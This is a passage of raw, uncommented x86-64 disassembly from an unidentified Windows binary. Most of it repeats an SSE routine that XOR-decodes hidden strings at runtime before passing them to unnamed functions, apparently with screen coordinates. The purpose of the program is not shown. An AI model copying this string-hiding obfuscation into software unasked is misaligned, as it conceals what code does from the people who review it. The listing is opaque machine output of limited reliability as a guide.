pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a8960
cmp r8d, 0x12
jge 0x1400a8ab0
movsxd rax, r8d
lea r9, [rbp + 0xce0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400a8a80
movsd xmm0, qword [str.knousyl_]
movzx eax, byte [0x1401454b8]
movsd qword [rbp + 0x320], xmm0
mov byte [rbp + 0x320], 0x53
xor byte [rbp + 0x321], 0x39
xor byte [rbp + 0x322], 0x3a
xor byte [rbp + 0x323], 0x3b
xor byte [rbp + 0x324], 0x3c
xor byte [rbp + 0x325], 0x3d
xor byte [rbp + 0x326], 0x3e
xor byte [rbp + 0x327], 0x3f
xor al, 0x40
mov byte [rbp + 0x328], al
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x320]
call fcn.14007f140
movups xmm0, xmmword [str.zPT_]
movups xmmword [rbp + 0x1230], xmm0
movsd xmm0, qword [0x140146378]
movsd qword [rbp + 0x1240], xmm0
movzx eax, word [0x140146380]
mov word [rbp + 0x1248], ax
movzx eax, byte [0x140146382]
mov byte [rbp + 0x124a], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a8cb9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1234]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a8bb0
cmp r8d, 0x1b
jge 0x1400a8d00
movsxd rax, r8d
lea r9, [rbp + 0x1230]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400a8cd0
movsd xmm0, qword [0x140145f28]
movsd qword [rbp + 0x620], xmm0
mov eax, dword [0x140145f30]
mov dword [rbp + 0x628], eax
cmp byte [0x140145f33], 0
je 0x1400a8e80
mov r8d, r13d
cmp r12d, 2
jl 0x1400a8e3e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145f28]
xorps xmm2, xmm0
movd dword [rbp + 0x620], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x624]
xorps xmm2, xmm1
movd dword [rbp + 0x624], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x620]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a8e50
lea r8, [0x1401ab1ba]
lea rdx, [rbp + 0x1230]
lea rcx, [rbp + 0x620]
call fcn.14007f300
movups xmm0, xmmword [0x140145c68]
movups xmmword [rbp + 0x10b8], xmm0
movsd xmm0, qword [0x140145c78]
movsd qword [rbp + 0x10c8], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400a9050
cmp r12d, 2
jl 0x1400a9012
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x10bc]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400a8f10
jmp 0x1400a9050
lea r9, [rbp + 0x10b8]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400a9020
mov eax, dword [0x1401463b0]
mov dword [rbp + 0x918], eax
movzx eax, word [0x1401463b4]
mov word [rbp + 0x91c], ax
movsd xmm0, qword [0x1401463a8]
movzx eax, byte [0x1401463b6]
movsd qword [rbp + 0x910], xmm0
mov byte [rbp + 0x91e], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a919c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401463a8]
xorps xmm2, xmm0
movd dword [rbp + 0x910], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x914]
xorps xmm2, xmm1
movd dword [rbp + 0x914], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x910]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400a91b0
lea r9, [rbp + 0x10b8]
mov r8b, 1
lea rdx, [0x1401a595c]
lea rcx, [rbp + 0x910]
call fcn.14003bf70
movups xmm0, xmmword [0x140145180]
movups xmmword [rbp + 0x1130], xmm0
movsd xmm0, qword [0x140145190]
movsd qword [rbp + 0x1140], xmm0
movzx eax, byte [0x140145198]
mov byte [rbp + 0x1148], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a9379
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1134]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a9270
cmp r8d, 0x19
jge 0x1400a93c0
movsxd rax, r8d
lea r9, [rbp + 0x1130]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400a9390
movsd xmm0, qword [str.tVYP]
movsd qword [rbp + 0x3c0], xmm0
movzx eax, word [0x140146c48]
mov word [rbp + 0x3c8], ax
cmp byte [0x140146c49], 0
je 0x1400a9431
mov byte [rbp + 0x3c0], Ordinal_79
xor byte [rbp + 0x3c1], 0x39
xor byte [rbp + 0x3c2], 0x3a
xor byte [rbp + 0x3c3], 0x3b
xor byte [rbp + 0x3c4], 0x3c
xor byte [rbp + 0x3c5], 0x3d
xor byte [rbp + 0x3c6], 0x3e
xor byte [rbp + 0x3c7], 0x3f
xor byte [rbp + 0x3c8], 0x40
xor byte [rbp + 0x3c9], 0x41
lea r8, [0x1401aa8ef]
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3c0]
call fcn.14007f300
movups xmm0, xmmword [str.sCYUSZ]
movups xmmword [rbp + 0xfb0], xmm0
mov eax, dword [0x140146008]
mov dword [rbp + 0xfc0], eax
movzx eax, word [0x14014600c]
mov word [rbp + 0xfc4], ax
cmp byte [0x14014600d], 0
je 0x1400a9610
mov r8d, r13d
cmp r12d, 2
jl 0x1400a95cb
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xfb4]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a94c2
cmp r8d, 0x16
jge 0x1400a9610
movsxd rax, r8d
lea r9, [rbp + 0xfb0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400a95e0
mov eax, dword [0x140145388]
mov dword [rbp + 0x7e8], eax
movzx eax, byte [0x14014538c]
movsd xmm0, qword [0x140145380]
mov byte [rbp + 0x7ec], al
movsd qword [rbp + 0x7e0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a974e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145380]
xorps xmm2, xmm0
movd dword [rbp + 0x7e0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7e4]
xorps xmm2, xmm1
movd dword [rbp + 0x7e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a9760
lea r9, [rbp + 0xfb0]
mov r8b, 1
lea rdx, [0x1401a5960]
lea rcx, [rbp + 0x7e0]
call fcn.14003bf70
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401ab1de], 0
je 0x1400aa556
mov r14d, 8
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [r14 + rcx]
cmp dword [0x1401abf08], eax
jle 0x1400a9817
lea rcx, [0x1401abf08]
call fcn.14012675c
cmp dword [0x1401abf08], 0xffffffff
jne 0x1400a9817
lea rcx, [0x14012a410]
call fcn.140126acc
lea rcx, [0x1401abf08]
call fcn.1401266f0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [r14 + rcx]
cmp dword [0x1401ad300], eax
jle 0x1400a9864
lea rcx, [0x1401ad300]
call fcn.14012675c
cmp dword [0x1401ad300], 0xffffffff
jne 0x1400a9864
lea rcx, [0x1401ad2a0]
call fcn.14007d6e0
lea rcx, [0x1401ad300]
call fcn.1401266f0
mov qword [rbp + 0x100], 0x1f4
lea rcx, [rbp + 0x108]
call fcn.14007d6e0
mov rcx, qword [0x1401ad2a0]
mov qword [rbp + 0x110], rcx
mov rax, qword [rax]
mov qword [rbp + 0x118], rax
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x120]
call fcn.1400b7b80
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x120]
call fcn.1400828b0
test al, al
js 0x1400a994a
lea rcx, [rbp + 0x128]
call fcn.14007d6e0
mov rcx, qword [rax]
mov qword [0x1401ad2a0], rcx
lea r15, [0x1401ab9f0]
mov qword [rbp + 0x17a0], r15
mov rcx, r15
call fcn.14007e8b0
nop
lea rdx, [0x1401abc30]
lea rcx, [0x1401abca0]
call fcn.1400aeb00
lea rdx, [rbp + 0x130]
lea rcx, [0x1401abca0]
call fcn.1400aeae0
mov rbx, qword [rax]
lea rdx, [rbp + 0x138]
lea rcx, [0x1401abca0]
call fcn.1400aeaf0
movzx r8d, sil
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400b1100
nop
mov rcx, r15
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [r14 + rcx]
cmp dword [0x1401ad298], eax
jle 0x1400a99a4
lea rcx, [0x1401ad298]
call fcn.14012675c
cmp dword [0x1401ad298], 0xffffffff
jne 0x1400a99a4
lea rcx, [0x1401ad2b0]
call fcn.14007f060
lea rcx, [0x14012a400]
call fcn.140126acc
nop
lea rcx, [0x1401ad298]
call fcn.1401266f0
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rcx, qword [0x1401a97b0]
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
unpcklps xmm8, xmm7
movsd qword [rax + 0x118], xmm8
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movsd xmm0, qword [0x1401463c0]
movsd qword [rbp + 0x8d0], xmm0
mov eax, dword [0x1401463c8]
mov dword [rbp + 0x8d8], eax
movzx eax, word [0x1401463cc]
mov word [rbp + 0x8dc], ax
cmp byte [0x1401463cd], 0
je 0x1400a9b70
mov r8d, r13d
cmp r12d, 2
jl 0x1400a9b33
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401463c0]
xorps xmm2, xmm0
movd dword [rbp + 0x8d0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8d4]
xorps xmm2, xmm1
movd dword [rbp + 0x8d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x8d0]
add r9, rax
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a9b40
mov eax, dword [0x1401452a8]
mov dword [rbp + 0x7f8], eax
movzx eax, byte [0x1401452ac]
movsd xmm0, qword [0x1401452a0]
mov byte [rbp + 0x7fc], al
movsd qword [rbp + 0x7f0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a9cae
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401452a0]
xorps xmm2, xmm0
movd dword [rbp + 0x7f0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7f4]
xorps xmm2, xmm1
movd dword [rbp + 0x7f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a9cc0
mov r9b, 1
movss xmm0, dword [0x1401493d4]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x7f0]
call fcn.14007f140
mov r14, qword [0x1401abca0]
mov r15, qword [0x1401abca8]
cmp r14, r15
je 0x1400a9f00
nop
cvttss2si edx, dword [r14 + 0x38]
